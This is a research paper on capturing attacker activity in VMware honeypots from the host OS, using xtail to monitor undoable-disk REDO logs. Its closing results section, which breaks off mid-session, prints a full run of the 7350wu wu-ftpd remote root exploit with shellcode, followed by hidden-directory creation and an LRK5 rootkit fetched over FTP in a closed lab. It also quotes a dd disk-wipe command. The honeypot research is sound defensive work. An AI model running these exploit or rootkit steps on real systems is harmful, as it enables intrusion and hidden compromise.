1. Abstract
2. Introduction
1. What is a Honeypot?
2. What is a Virtual Honeypot?
3. Data Capture on Honeypots
4. Data Capture on Virtual Honeypots
5. Raw Disks vs. Virtual Disks
3. Environment
4. Configuration
1. VMware Install
2. Configuring Disks
3. Key Concept - Undoable Disks
4. Xtail Overview
5. Building Xtail
6. Forensic Preparation
7. Using Xtail
5. Test Scenario
6. Data and Results
7. Conclusion

Back in January 2002, I made two posts to the Honeypot and Forensic mail-lists on the SecurityFocus website -

• Post #1 - Using SWATCH for Forensic Analysis of VMware & DD Images
• Post #2 - Re: Using SWATCH for Forensic Analysis of VMware & DD Images

One of the biggest challenges for the Honeynet Project has been finding methods of monitoring that will, hopefully, be undetectable by the intruder.  In the past, this has included network monitoring, remote log collection, key-stroke capturing via modified Bash shells and loadable kernel modules.  The monitoring technique that I present provides a way for the Host OS (which would be housing all of the Guest OS's of the Virtual Honeynet) to become a virtual "Big-Brother" if you will.  It could use a tool (not necessarily SWATCH) to monitor each VMware OS that is running under it.  This would allow for monitoring of system activity of the Virtual Honeypots without having to alter ANYTHING on the honeypot itself.  This monitoring is especially useful if the attacker decides to use encrypted channels into the honeypot, thus leaving the network monitoring mechanisms unable to decipher the information.

I conducted some initial tests using SWATCH in this manner, however, it did not work effectively.  This was due to SWATCH's reliance on  PERL's TAIL function to search for data.  Since the VMware Honeypot virtual disk files could change content anywhere within the file, and not just at the end, SWATCH was not a reliable method of monitoring.  I then came across a utility called xtail, which allowed me to monitor the entire file for changes.

This paper will discuss many of the techniques that I use to monitor both user and system activity within a VMware Guest OS honeypot system.  The system activities include both the creation and content of new files and directories, including rootkits, live sniffer logs, etc...  The steps outlined throughout this document will show different methods to identify and extract information and files directly from the live virtual guest OS without altering the pre configuration of the honeypot host.  These methods also present an alternative to conducting the normal live forensic audit of the honeypot system, where data contamination such as altering MACtimes often occurs.  Once this data has been extracted from the live honeypot it can then be analyzed using standard forensic techniques and tools.  This analysis includes using the following tools:

• VMware Windows 2000 Workstation v3.1.0 - http://www.vmware.com/support/ws3/doc/whatsnew_ws.html
• Cygwin Toolset for Windows - http://www.cygwin.com/
• Xtail to monitor the virtual honeypot files - http://www.unicom.com/sw/xtail/xtail-2.1.tar.gz
• Unix Strings utility to extract clear text data

• Virtual PC - http://www.connectix.com/
• User Mode Linux - http://user-mode-linux.sourceforge.net/
• Bochs - http://bochs.sourceforge.net/
• Plex86 - http://www.plex86.org/

What is a Honeypot?
Before you can define what a virtual honeypot is, you must first define a normal honeypot.  A honeypot is a system designed to look like something that an intruder can hack. Examples can be:

• Installing a machine on the network with no particular purpose other than to log all attempted access.
• Installing an older unpatched operating system on a machine. For example, the default installation of WinNT 4 with IIS 4 can be hacked using several different techniques. A standard intrusion detection system can then be used to log hacks directed against the machine, and further track what the intruder attempts to do with the system once it is compromised.
• Install special software designed for this purpose. It has the advantage of making it look like the intruder is successful without really allowing them access.
• Any existing system can be "honeypot-ized". For example, on WinNT, it is possible to rename the default "administrator" account, then create a dummy account called "administrator" with no password. WinNT allows extensive logging of a person's activities, so this honeypot will track users attempting to gain administrator access and exploit that access.[1]

What is a Virtual Honeypot?
The difference between a real and a virtual honeypot lies in the fact that a virtual honeypot uses application software to create a new, separate operating system environment.  The virtual host actually uses or shares that same hardware as the physical OS does.  Instead of using different hardware for each host, many different virtual servers may be contained on one piece of hardware.  The Honeynet Project describes in detail the difference between a First Generation (GenI) Honeypot/Honeynet using separate hardware for each network host vs. Second Generation (GenII) Honeypots/Honeynets using virtual software to condense the environment down to one piece of hardware - http://project.honeynet.org/papers/honeynet/ :
 

Another area the Honeynet Project is researching is the use of virtual Honeynets. Virtual Honeynets combine all the elements of a Honeynet onto one physical system. Not only are all three requirements of Data Control, Data Capture, and Data Collection met, but the actual honeypots themselves run on the single system. Virtual Honeynets can support either GenI or GenII technologies. The honeypots are actual operating systems. Nothing is emulated. The advantage here is one of cost and efficiency. It is much cheaper to use a single system to run all the elements of a Honeynet, and it is much easier to deploy and maintain. One such example is the use of VMware. VMware allows various operating systems to run at the same time on the same system. Team member Michael Clark is leading this research and has published the paper Virtual Honeynets. Kurt Siefried has written a whitepaper on the Data Capture issues with VMware virtual Honeynets.  The Honeynet Project is also actively working with other organizations in the research of User Mode Linux, developed by Jeff Dike. UML has the capability of running multiple instances of Linux on the same systems (over twenty guest OS's have been achieved on a single box). UML is Open Source and free, however it is currently limited to Linux systems. It is hoped to port UML to other operating systems in the future.

Data Capture on Honeypots
The Honeynet Project gives a detailed explanation for Data Capture issues on honeypots:
 

Data capture is the capturing of all of the blackhat's activities. It is these activities that are then analyzed to learn the tools, tactics, and motives of the blackhat community. The challenge is to capture as much data as possible, without the blackhat knowing their every action is captured. This is done with as few modifications as possible, if any, to the honeypots. Also, data captured cannot be stored on locally on the honeypot. Information stored locally can potentially be detected by the blackhat, alerting them the system is a Honeynet. The stored data can also be lost or destroyed. Not only do we have to capture the blackhats every move without them knowing, but we have to store the information remotely. --CUT-- A third layer are the systems themselves, we want to capture all system and user activity that occurs on a system. The first method for this is to have all system logs not only log locally, but to a remote log server. For Unix systems and most network devices, this is simply done by adding an entry for a remote syslog server in the configuration file. For Window based systems there are third party applications that will remotely log information. Also, system logs can be written to a NFS or SMB share on the remote log server. NT requires you use third party software to have the capability to write system information to syslog, but it can write it to a network file system. This way, critical system information such as process activity, system connections, and attempted exploits are safely copied to a remote system. We do not want to make any attempt to hide the use of a remote syslog server. If the blackhat detects this, the worse they can do is disable syslogd (which is standard behavior for most blackhats). This means we will no longer have continued logs, however we will at least have information on how they gained access and from where.  More advanced blackhats will attempt to compromise the remote syslog server in an attempt to cover their tracks. This is exactly what we want to occur. The syslog server is normally a far more secured system. This means for a blackhat to successfully take control of such a system they will have to use more advanced techniques, which we will capture and learn from. If the syslog server is compromised, we have lost nothing. Yes, the blackhat can gain control of the system and wipe the logs. However, do not forget, our IDS system that is on the network passively captured and recorded all of the logging activity that happened on the network. In reality, the IDS system acts as a second remote log system, as it passively captured all the network data.  A second method to capturing system data is to modify the system to capture keystrokes and screen shots and remotely forward that data. The Honeynet Project is currently testing several tools that have this functionality. The first is a modified version of bash. This shell, developed by Antonomasia, can be used to replace the system binary /bin/bash. The trojaned shell forwards the user's keystrokes to syslogd, which is then forwarded to a remote syslog server. A second option is a modified version of TTY Watcher. This kernel module captures both user keystrokes and screen captures and forward this information over a non-standard TCP connection. There are a variety of other options to this functionality.

The Honeynet Project has also outlined a standard for configuring Honeynets which includes the Data Capture phase:
 

II. Data Capture This defines the specific requirements for data capture.  No Honeynet captured data will be stored locally on the honeypot. (Data logged on honeypots is assumed to be unreliable,     and may be modified by intruders.) Honeynet captured data is any logging or information capture associated with activity within a Honeynet environment.  No data pollution can contaminate the Honeynet, invalidating data capture. Data pollution is any activity that is non-standard     to the environment.  An example would be a non blackhat testing a tool by attacking a honeypot.  The following activity must be captured and archived for one year.      Network Activity      System Activity      Application Activity      User Activity  The ability to remotely view this activity in real time.  The automated archiving of this data for future analysis.  Maintain a standardized log of every honeypot deployed.  Refer to Appendix A (Honeypot Deployment) for template.  Maintain a standardized, detailed write-up of every honeypot compromised. Refer to Appendix B (Honeypot Compromise) for template.  Honeynet sensors' data capture must use the GMT time zone.  Individual honeypots may use local time zones, but data will have to be later converted to GMT for analysis purposes.  Resources used to capture data must be secured against compromise to protect the integrity of the data.[3]

The information listed above outlines the requirements for Data Capture logging within Honeynets and breaks down to the following three types of monitoring:

1. Firewall logging of both inbound/outbound connections
2. Network Intrusion Detection logging of all traffic, and
3. Host based modifications to log both system and user activity

Even with the most stealthy host-based modifications, such as the loadable kernel modules for keystroke logging, the fact is that any changes made to the honeypot can potentially be identified by the attacker.  Even the use of stealthy monitoring LKMs can be detected by the attacker by including LKM checking tools (ala a modified version of chkrootkit) within their rootkits.  So the question is - How can we monitor activity within a virtual honeypot system without making any logging modifications to the honeypot system itself?

Data Capture on Virtual Honeypots
One of the distinct advantage to using virtual honeypots over normal separate honeypot systems, is the fact that the virtual Guest honeypot system is actually running inside the Host OS system.  With this configuration, we are able to access (monitor) the files which make up the virtual honeypot system without having to use the network to do so.  There are two different ways to implement a VMware Guest OS system onto a Host OS system - either using "Raw Disks" or "Virtual Disks".  We will discuss the difference below, however, both implementations allow the Host OS system to access the Guest OS files.  It is this ability which we will be utilizing to monitor our Guest OS honeypots.

Raw Disk vs. Virtual Disk
Existing Physical (Raw) Disk: An existing physical disk or raw disk is a partition on a physical IDE or SCSI drive connected to the host computer. You use raw disks if you want Workstation to run one or more guest operating systems from existing disk partitions. Raw disks may be set up on both IDE and SCSI devices.

Virtual Disk: A virtual disk is a file on the host file system that contains all data stored in the virtual IDE or SCSI drive visible to the guest operating system. A virtual disk can be created on any type of disk (IDE, SCSI, etc.) and any type of file system (E2FS, FAT, FAT32, NTFS, etc.) supported by the host operating system. The virtual disk can also be created on a removable disk drive or placed on a network file server. The New Virtual Machine Wizard will place the virtual disk in the virtual machine directory that you specify. Virtual disks can be as large as 128GB for IDE virtual hard disks and 256GB for SCSI virtual hard disks. Workstation creates a file for each 2000MB of virtual disk capacity. The actual files used by the virtual disk start out small and grow to the maximum size as needed.  A key advantage of virtual disks is their portability. Because the virtual disks are stored as files on the host machine or a remote computer, you can move them easily to a new location on the same computer or to a different computer.

Kurt Seifried describes the difference between these two VMware disk types:

"Virtual disks are a set of files that VMware presents as a "real" hard drive to the guest operating system, raw disk partitions are a "real" partition on a "real" hard drive that the guest operating system is given access to. There are several advantages and disadvantages to either approach, largely depending on what your goals for the honeypot are. If your purpose is quick research or primarily as an early warning device and you do not plan to prosecute it is acceptable to use virtual disks. They allow for easy copying and recreation of a honeypot once it has been compromised and are the simplest to install. However if the guest operating system is sufficiently damaged you will not be able to access it very easily, and since it uses a custom file format you will not be able to examine it easily with common forensics tools such as TCT or EnCase. The major advantage of virtual disks is convenience, however you will lose much of any ability to perform forensics.

For deeper forensics, and especially if you plan to prosecute the best option is to use raw disk partitions. I would recommend using a physically separate hard drive from the host operating system's hard drive, this will ease partitioning and make potential cross contamination less likely. There is one primary piece of advice I feel compelled to offer: use a separate hard drive and put it in a drive tray to make removal as easy as possible. If you use drive trays you will be able to quickly swap the drive into a forensics system, although it is unlikely that the attacker will be able to break into a properly secured VMware host machine it is possible.

Setup and installation on a raw disk partition is relatively straight forward and well documented (especially the problems you are likely to run in to under Windows). By using an entire disk you make life much easier for yourself, cloning the drive can be accomplished by simply dd'ing the contents to an identical drive, and handling of evidence will be simplified if the only contents of the harddrive are related to the incident at hand and not several installations." [4]

"Probably the most important piece of preparation that can be done is to zero the partitions that the guest operating system data resides upon. For raw partitions simply zero the partition as you normally would. For virtual disks things are a bit more complex, VMware only makes the files as large as is necessary, growing them as more data is added, thus it is possible for contamination from existing data on the drive the virtual disks reside on. To complicate matters if you have multiple virtual disks (i.e. multiple guest operating systems) on a single partition as they grow and contract they may use hard disk areas previously used by other guest operating systems. Probably the simplest way to deal with this is to partition the drive so that each guest operating system's virtual disk files reside on a separate partition, and of course these partitions should be zeroed before use.

A handy little wiping utility is available from IBM for free at:
http://www.storage.ibm.com/hdd/support/download.htm#Wipe
simply unpack it to a floppy disk and then use "wipe x" where x is the device number (0-7).

For UNIX systems simply use dd to wipe the disk, with a command such as:

dd bs=1000k if=/dev/zero of=/dev/partitionname" [4]

The ideal environment for testing this scenario would be when both a VMWare Host and Guest OS have the same OS platform.  For example -

• VMware Host OS - RedHat Linux 7.2
• VMware Guest OS - RedHat Linux 7.2

The testing was conducted on a closed network.  The network consisted of one Windows 2000 Workstation, which was the VMware Host OS machine.  There was one RedHat Linux Guest OS machines on the Windows 2000 Workstation.  There was also two SUN Microsystems SUNBlade 100 Workstations on the test network.  The machines were connected by a CableTron Systems Multi Port Repeater with LANVIEW- MR9T 802.3 10BaseT.  Since this test was conducted on a closed network, the possibility for outside network interference was minimized.  The test environment used for these tests was:

Hardware:

• 1 - DELL - Optiplex GX50 desktop system - http://www.dell.com/us/en/bsd/products/model_optix_3_optix_gx50.htm
• 1 - DELL - Latitude Laptop system - http://www.dell.com/us/en/bsd/products/minicat_latit_c610.htm

These systems would function as the VMware Host OS systems for testing.
 
• 2 - SUN Microsystems SUNBlade 100 Workstations. http://www.sun.com/desktop/sunblade100/specs.html

These two systems were used to test remote systems accessing the VMware honeypot systems.

• Windows 2000 Desktop OS.  This system would function as the VMWare Host OS system for testing

Windows 2000 System Settings

• Cygwin version 2.125.2.10 - http://www.cygwin.com/

Cygwin is a UNIX environment, developed by Red Hat, for Windows. It consists of two parts:
• A DLL (cygwin1.dll) which acts as a UNIX emulation layer providing substantial UNIX API functionality.
• A collection of tools, ported from UNIX, which provide UNIX/Linux look and feel.
The Cygwin DLL works with all non-beta, ix86 versions of Windows since Windows 95, with the exception of Windows CE.
 
 





Cygwin Terminal Screen

• VMWare Windows Workstation - V.3.0.0-build 1455. http://www.vmware.com/products/desktop/ws_features.html

VMware Workstation Application Screen

• RedHat Linux 6.2 (Publisher Edition)

This was the VMware Guest OS - Kernel 2.2.14-5.0 i686 - No Patches.  This software came from the "Red Hat Linux - The Complete Reference" book's CDROM.  Here is a picture of the Windows 2000 workstation with the Linux VMWare Guest OS running inside of it:



Windows 2000 Host OS with VMware RedHat Linux 6.2 Guest OS

The testing was conducted on a closed network.  The machines were connected by a CableTron Systems Multi Port Repeater with LANVIEW- MR9T 802.3 10BaseT.  Since this test was conducted on a closed network, the possibility for outside network interference was minimized.

[ Configuration ]

VMware Install
I will not be discussing every step for installing and configuring a RedHat Linux 6.2 VMware Guest OS onto a Windows 2000 Host OS system.  For step by step instructions, following the directions at the VMware web site -  http://www.vmware.com/support/ws3/doc/install_ws.html#1014257.  There are a couple of key configurations, however, that we need to make during the installation process to create a honeypot environment that will assist us with capturing both system and user activity within the VMware honeypot Guest OS system.

2. Choose the amount of memory that should be allocated to this virtual machine.

The default amount of memory that is allocated to a new virtual machine created with VMware Workstation 3.1 depends upon
 
• the guest operating system configured for the virtual machine
• the host operating system (Windows or Linux)
• the amount of physical memory installed in the host machine
• the memory limit for all virtual machines (referred to as reserved memory) that is set in the Settings > Preferences > Memory configuration screen


To configure the memory for a virtual machine:
 

• Select File > Open and open the virtual machine configuration file (.vmx) you want to modify.
• Select Settings > Configuration Editor.
• Click the Hardware panel.
• Select Memory from the list of devices.
• In the "Guest size (MB)" field, enter the total memory (in megabytes) that you want to assign to this virtual machine.

Note: Memory size is restricted to multiples of 4 megabytes.
• Click OK


Here is an example of the memory configuration screen:



VMware Memory Configuration Screen

We want to configure our virtual honeypot system to use the least amount of memory as possible.  This will most likely cause the Guest OS system to write most of its data that would normally be held within memory to the local swap file.  When this data is written to the swap file, we will have a greater chance of capturing this data.  Further discussion of capturing the data written to disk will be covered in the next section - Configuring the disk mode for a virtual machine.
 

3. Configuring the disk mode for a virtual machine.

There are three different disk modes which can be enabled for both raw and virtual disks:
 
• Persistent

This mode is the default. With this mode, all data written to a persistent disk are immediately and permanently written to the disk. As a result, the disk behaves as a conventional disk drive on a real computer.
 
• Nonpersistent

Changes to nonpersistent disks are not saved during the Workstation session and are lost at the end of the session (that is, when the virtual machine is powered off or reset). Nonpersistent disks are convenient for people who always want to start with a virtual machine in the same state. Example uses include providing known environments for software test and technical support users as well as doing demonstrations of software.  This type of disk mode could also be useful for a malware analysis test platform where all changes to the system can be removed when the system is powered off.
 
• Undoable

This is the disk mode that we want to configure our Guest OS Honeypot system to use.  Undoable mode lets you decide at the end of a working session whether you want to keep or discard the changes made during that session. This is especially useful for experimenting with new configurations or unfamiliar software. Because of the disaster-recovery possibilities this mode offers, many users prefer to make undoable disks a standard part of their configurations.  Although the undoable mode was originally designed for disaster recovery purposes, this disk mode is also extremely useful for honeypot deployments.
Undoable disks are similar to nonpersistent disks in that writes to the disk are stored in a file called a redo log. An undoable disk, unlike a nonpersistent disk, gives you the option later of permanently applying the changes saved in the redo log, so they become part of the main disk.  While the Workstation session is running, disk blocks that have been modified and written to the redo log are read from there instead of the disk. Any disk type can be used in undoable mode. When you power off a Workstation session with an undoable disk, you are given three options: commit the changes in the redo log to the disk, discard the changes in the redo log, or keep the redo log. If you choose to keep the redo log, the next time you power on the virtual machine Workstation detects the redo log file and prompts you to either commit the redo log changes from the previous session, discard the redo log, continue appending changes to the redo log or cancel the power on.  Below is the virtual disk configuration screen where I have selected the Undoable disk:



Virtual Disk Configuration Screen

With the implementation of the undoable virtual disks, we are able to have a baseline of our verified, freshly installed system with the normal VMware disk files and separate any changes made to the system, presummably by attackers, into the redo log files.  This will allow us to identify and monitor all of the changes made to our honeypot system by analyzing the redo logs instead of the normal virtual disk files.

Key Concept - Undoable virtual disks are the key factor for effective VMware honeypot monitoring.

Before conducting forensic analysis of compomised systems, the normal process is to create exact replicas of the entire system.  This is normally achieved by using tools such as DD to create a bit by bit copy of each partition on the system.  Why is this necessary?  There are two reasons:
 

2. Integrity of the Data - By using tools such as DD and MD5, Forensic Analysts can validate the integrity of the data.  This issue is crucial if the evidence will ever be used in future legal actions.  If this data will be used to prosecute an attacker, then an exact replica of the system must be made.

 
3. Create Data Images for Forensic Examination

In order to have data to examine, DD can be used to create these replicas.  This will allow us to have data to work with for the examination process while not accessing and/or altering the original.
The down side of this process is that the resulting images used for forensic analysis are extremely large.  We are often talking about many GBs of data.  Forensic Analysts must comb through vast amounts of data and search for the perverbial "Needles in the Haystack."   The problem with the forensic analysis of these huge files is data overload.  Using the VMware Undoable disks actually helps to alleviate the issue of data overload by narrowing the scope of the interest to only new data.  This is actually the same type of concept which the Honeynet Project emphasises as a design benefit of Honeynets:
 

How it Works  Conceptually, Honeynets are a simple mechanism. We create a network similar to a fishbowl, where we can see everything that happens inside it. Similar to fish in a fishbowl, we can watch and monitor attackers in our network. Also just like a fishbowl, we can put almost anything in there we want. This controlled network, becomes our Honeynet. The captured activity teaches us the tools, tactics, and motives of the blackhat community.  Traditionally, the greatest problem security professionals face in detecting and capturing blackhat activity is information overload. The challenge for most organizations is determining from vast amounts of information what is production traffic and what is malicious activity. Tools and techniques such as Intrusion Detection Systems, host based forensics, or system log analysis attempt to solve this by using a database of known signatures or algorithms to determine what is production traffic and what is malicious activity. However, information overload, data pollution, unknown activity, false positives and false negatives can make analyzing and determining activity extremely difficult.  Like all honeypots, the Honeynet solves this problem of data overload through simplicity. A Honeynet is a network designed to be compromised, not to be used for production traffic. Any traffic entering or leaving the network is suspicious by definition. Any connection initiated from outside the Honeynet into the network is most likely some type of probe, attack, or other malicious activity. Any connection initiated from the Honeynet to an outside network indicates that a system was compromised. An attacker has initiated a connection from his newly hacked computer and is now going out to the Internet. This concept of no production traffic greatly simplifies the data capture and analysis.

Much in the same way that Honeynets allow the WhiteHats to focus in on malicious network data by removing the normal Production traffic, using the Undoable virtual disks when monitoring VMware honeypots allows the WhiteHats to focus in on ONLY the new system data introduced to the honeypot system.  Modifiying the Honeynet Project description above we can summarize our idea - "Any new system activity stored in the VMware REDO log files is suspicious by definition."  By focusing in on only the REDO log file data instead of the normal OS files, results is a significant decrease in the amount of data to analyze.

This leads us to our next question - How can we monitor the REDO log files?  We will now talk about the tool we will use to monitor the REDO logs - Xtail.

The xtail README file is also very small and has some relevant information:
 

=== CHANGES === v2.1 - Stamps out a Y2K bug and now uses GNU autoconf.   === SUMMARY === "xtail" watches the growth of files.  It's like running a "tail -f" on a bunch of files at once.  The syntax is:  xtail name ... You can specify both filenames and directories on the command line. If you specify a directory, it watches all the files in that directory.  It will notice when new files are created (and start watching them) or when old files are deleted (and stop watching them). I originally wrote this program so I could run:  xtail /usr/spool/uucp/.Log/* Even though I don't use "uucp" any more, I still use this utility a lot.  These days, my favorite is:  xtail /var/log/* /usenet/lib/*log   === INSTRUCTIONS ===  - xtail version 2 requires an ANSI compiler such as gcc.  - Run:  sh configure  - If you'd like, review the configuration definitions in xtail.h  - Run:  make  - If you'd like, as root run:  make install   === HISTORICAL NOTES === This program is an oldie but goodie.  It was posted to comp.sources.misc in July 1989 (see ftp.uu.net:/usenet/comp.sources.misc/volume7/xtail.Z). I remember posting an even earlier version to alt.sources.  It has been published in the O'Reilly & Associates "Unix Power Tools" collection (book and CD-ROM). Over the years, some fly-by-night organizations (such as the MIT X Consortium and SGI) have tried to steal the "xtail" name.  Don't be fooled!  Insist on the original. The 1989 release credited David Dykstra for his contributions. Chip Rosenthal <chip@unicom.com> $Id: README,v 2.4 2000/06/04 05:15:35 chip Exp $

Even though xtail says that it is similar in functionality to running a "tail -f filename" command, it is actually quite different.  Whereas tail will only monitor any changes appended to the end of a file, xtail actually monitors the entire file.  When xtail is invoked with the following command:
 

# xtail /var/log/messages

It will monitor the /var/log/messages file for any changes, this includes both new data and deletions.  Xtail uses two different parameters within its C looping function to determine if a file that it is monitoring has changed -

• The size of the file
• The mtime of the file

This code shows how xtail continuously searches through the list of files looking for any changes and reporting this information to standard output.
 

Building Xtail
Before we can use xtail to monitor the VMware Guest OS REDO files, we will need to compile the xtail source code to create a Cygwin executable binary.  I moved the xtail-2.1.tar file into the VMware Guest OS directory and executed the steps below to compile xtail:

The resulting /path/to/VMware/Linux/ directory contained the following files:

The picture above shows the same directory contents from both the VMware Host OS (Windows 2000) and the Cygwin Terminal window.
 

Forensic Preparation
Before we are ready to deploy the VMware Honeypot system, we need to conduct a few more forensic steps which will aide in our Incident Response steps.

1. Create a replica of the VMware honeypot system

Once we have created the honeypot system named, for example Linux1, we will then want to create an exact replica of this VMware host.  This replica will be used as our Forensic Test Lab server.  To accomplish this task, we can simply copy all of the VMWare Guest OS files into a new directory and rename them appropriately, for Example Linux1_Lab.  This replica of the original Linux1 VMware host will allow us to move the updated changes (attacker modifications) from the live honeypot system to the replica server for analysis.  Once you have copied all of the files and renamed then, you will need to update the /path/to/VMware/Linux1_Lab/linux.vmx file.  This file holds the configuration information about the VMware host.  You can open the file in Notepad and edit the settings.  You will want to change two pieces of information, the name displayed and the path to the virtual disk files:
 

config.version = "6" virtualHW.version = 2 displayName = "Linux1_Lab" scsi0:0.mode = "undoable" draw = "gdi" guestOS = "linux" ide1:0.present = TRUE ide1:0.deviceType = "atapi-cdrom" ide1:0.fileName = "auto detect" scsi0:0.present = TRUE scsi0:0.fileName = "C:\Documents and Settings\username\My Documents\My Virtual Machines\Linux1_Lab\Linux1.vmdk" scsi0.present = TRUE ethernet0.present = TRUE

If you fail to update this file, then the live honeypot virtual disks will be used instead of the Forensic Test VMware host's files.  This is bad!  This would cause data pollution in the live honeypot system.  Remember, the goal of this entire process is to monitor and extract changed data without modifying the original honeypot host.
 

2. Create a baseline of all honeypot system files

Before we start up the Linux1 VMware honeypot, we need to log into the VMware Linux_Lab server and create an MD5 baseline of every file on the system.  This baseline will be used to identify any changes made (attacker modifications) to the VMware Linux1 honeypot system.  There are many different tools which can be used for this process such as Tripwire, AIDE, etc...  I installed Tripwire and created a database from the linux tw.config file.  Once this new tripwire database was created, I then used FTP to copy both the linux tw.config file and the tripwire database - tw.db_saphe3 - onto the Windows 2000 VMware Host OS system.  This database will be used later to verify data when we introduce new REDO log data from the Linux1 VMware honeypot into the VMware Linux1_Lab host.

Using Xtail to Monitor Live VMware REDO Logs
Now that we have everything in place, we need to start up the Linux1 VMware Guest honeypot system.  We do not want to use xtail to monitor the REDO log files during this timeframe since the virtual disks will be performing normal system startup procedures.  Once the VMware host is booted up into full interactive mode, then I will start monitoring the local REDO log files with xtail to identify any changes made to the system.

Since there will be multiple REDO files within the Linux1 VMware systems directory, I want to tell xtail to monitor any file in this directory with the "*REDO" extension.  These are the files that will contain all of the new system data.  If we monitor all of the files in this directory, we will receive data which we are not interested in, such as the data in the  vmware.log file.  This log file simply logs the VMware applications data such as when you type "Ctrl+Alt" to exit the VMware application to return to the Host system.

Due to the fact that the VMware REDO virtual disks will contain both ASCII text and Binary data, we do not want to use xtail to report on this data directly to the terminal screen.  The techinque that I use actually takes the output from xtail and then pipes the data into the "strings -a" command.  This will extract out only ASCII text.  This data is then redirected to a log file called - Linux1.log and run this as a background process.  This allows me to monitor the Linux1.log file by using the "tail -f Linux1.log" command.  The the full command string to activate xtail to monitor the REDO files looks like this:

[ Test Scenario ]

The testing scenario for this VMware honeypot monitoring should achieve the following goals:

1. Capture all new data created in the VMware REDO virtual disk files
2. Provide the ability to monitor this data in real time with the use of xtail
3. Provide the ability to review the ASCII text of this data in either real time or in post-mortem log file analysis
4. Conduct forensic analysis by analyzing the REDO file data with the TCT toolset
5. Conduct additional, common forensic analysis of the REDO information by introducing the data into the forensic VMware host - Linux1_Lab
6. Finally, this technique should abide by the rules set forth by the Honeynet Project for Data Capture

 
• Hide the monitoring from the attacker
• Ensuring the integrity of the data that is captured

In order to better illustrate how this testing scenario was set up, I will give a quick visual example.  Below is a picture of both the VMware Guest OS Linux Desktop honeypot system and the Windows 2000 Host OS system with the cygwin/Xtail applications running.

The next picture displays the data captured by Xtail when I gunzipped the file called ADMsniff.tar.gz within the RedHat Linux Honeypot:

This last example screen shot shows how Xtail can capture live user/network activity.  In this graphic, I used telnet to log into a Unix server at the "Hacker's Lab" project.  In the VMware server on the right hand side, you can see where I logged into the host and was greeted with the Hacker's Lab banner message.  Back in the Xtail window on the left, you can see where Xtail captured this data!

Here is a link to the entire Xtail capture file for the above session when I gunzipped the ADMsniff archive.

These two pictures give a visual representation of the Xtail monitoring setup between the Host OS and the Guest OS.  Keep this setup in mind during the following "Data and Results" section below.  Instead of showing pictures for each section of data which Xtail captured, I instead used links to a separate graphic file.
 

[ Data and Results ]

For this test, I downloaded the 7350wu-ftpd exploit  program.  This program will successfully execute a buffer-overflow against a wu-ftpd 2.6 running on the Linux1 VMware honeypot system.  I installed and compiled the program on the 10.XXX.XXX.53 host.
 

[root@saphe3 /tools]# tar -xvf 7350wu-v5.tar  7350wu/  7350wu/7350wu.c  7350wu/common.c  7350wu/network.c  7350wu/common.h  7350wu/network.h  7350wu/Makefile  [root@saphe3 /tools]# cd 7350wu [root@saphe3 7350wu]# ls  7350wu.c  Makefile  common.c  common.h  network.c  network.h  [root@saphe3 7350wu]# make  cc -Wall -g  -c -o common.o common.c  cc -Wall -g   -c -o network.o network.c  cc -Wall -g -o 7350wu 7350wu.c common.o network.o  [root@saphe3 7350wu]# ls -l total 248  -rwxr-xr-x    1 root     root       100138 Jun 26 09:57 7350wu  -rw-r--r--    1 1000     1000        33365 Jul  7  2000 7350wu.c  -rw-r--r--    1 1000     1000          164 Jul  2  2000 Makefile  -rw-r--r--    1 1000     1000          462 Jun 27  2000 common.c  -rw-r--r--    1 1000     1000          138 Jun 27  2000 common.h  -rw-r--r--    1 root     root        10312 Jun 26 09:57 common.o  -rw-r--r--    1 1000     1000        16892 Jul  6  2000 network.c  -rw-r--r--    1 1000     1000         7959 Jun 27  2000 network.h  -rw-r--r--    1 root     root        51320 Jun 26 09:57 network.o

Now that I had a working ftpd exploit, I tried to execute the program to see if I could gain a root shell.  The session log below shows the 7350wu exploit successfully working.  I then create a hidden directory in /dev and download and install the LRK5 Rootkit from a remote host.  All of the commands that I typed within the 7350wu rootshell terminal are bolded.  Some of the lines below are also blue hyper-links to screen shots of the Xtail program, which was capturing the new data within the VMware Honeypot's REDO disk file in real time!  As you will see,  Xtail captured a tremendous amount of data :)
 

[root@saphe4 7350wu]# ./7350wu -h 10.XXX.XXX.51 -v 7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled) by team teso phase 1 - login... login succeeded phase 2 - testing for vulnerability... vulnerable, continuing phase 3 - finding buffer distance on stack... ##########   found: 1100 (0x0000044c)   q: 137    d: 1    a: 0   space required for pop buffer: 413 bytes phase 4 - finding source buffer address... using sane address 0xbfffe210, pad 0 buffer length = 510 brute step length = 70 #using sane address 0xbfffe1ca, pad 0 #using sane address 0xbfffe184, pad 0 #using sane address 0xbfffe13e, pad 0 #using sane address 0xbfffe0f8, pad 0 #using sane address 0xbfffe0b2, pad 0 #using sane address 0xbfffe06c, pad 0 #using sane address 0xbfffe026, pad 0 #using sane address 0xbfffdfe0, pad 0 #using sane address 0xbfffdf9a, pad 0 #using sane address 0xbfffdf54, pad 0 #using sane address 0xbfffdf0e, pad 0 #using sane address 0xbfffdec8, pad 0 #using sane address 0xbfffde82, pad 0 #hit at 0xbfffde5a: ______________________________%%|x|%.70s   buffer is located at: 0xbfffdcad   found: 0xbfffdcad phase 5 - find destination buffer address... using sane address 0xbfffb3f0, pad 0 buffer length = 510 brute step length = 54 #using sane address 0xbfffb3ba, pad 0 #using sane address 0xbfffb384, pad 0 #using sane address 0xbfffb34e, pad 0 #using sane address 0xbfffb318, pad 0 #using sane address 0xbfffb2e2, pad 0 #using sane address 0xbfffb2ac, pad 0 #hit at 0xbfffb288: __________________________________%|x|________________________   buffer is located at: 0xbfffb050   found: 0xbfffb050 phase 6 - calculating return address   retaddr = 0xbfffde95 phase 7 - getting return address location 0 # 0xbfffd054 RL = 08052aff 0x08052aff @ 0xbfffd054   found 0xbfffd054 phase 8 - exploitation... storing 0xbfffde95 as: \x95\xde\xff\xbf written so far on first smack: 585 (4b)   using return address location: 0xbfffd054 /* using read() shellcode */ /* 16 byte shellcode */ "\x33\xdb\xf7\xe3\xb0\x03\x8b\xcc\x68\xb2\x94\xcd" "\x80\xff\xff\xe4"; len = 510   uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp) cd /dev mkdir ".. " cd ".. " pwd /dev/..  ftp 10.XXX.XXX.53 root Password:<C3_P0> cd /tools bin hash get lrk5.src.tar.gz Name (10.XXX.XXX.53:root):  Hash mark printing on (1024 bytes/hash mark). ############################################################################ ############################################################################ ############################################################################ bye ls lrk5.src.tar.gz ls -l total 3238 -rw-r--r--    1 root     ftp       3301054 Jul  3 13:19 lrk5.src.tar.gz gunzip lrk5.src.tar.gz tar 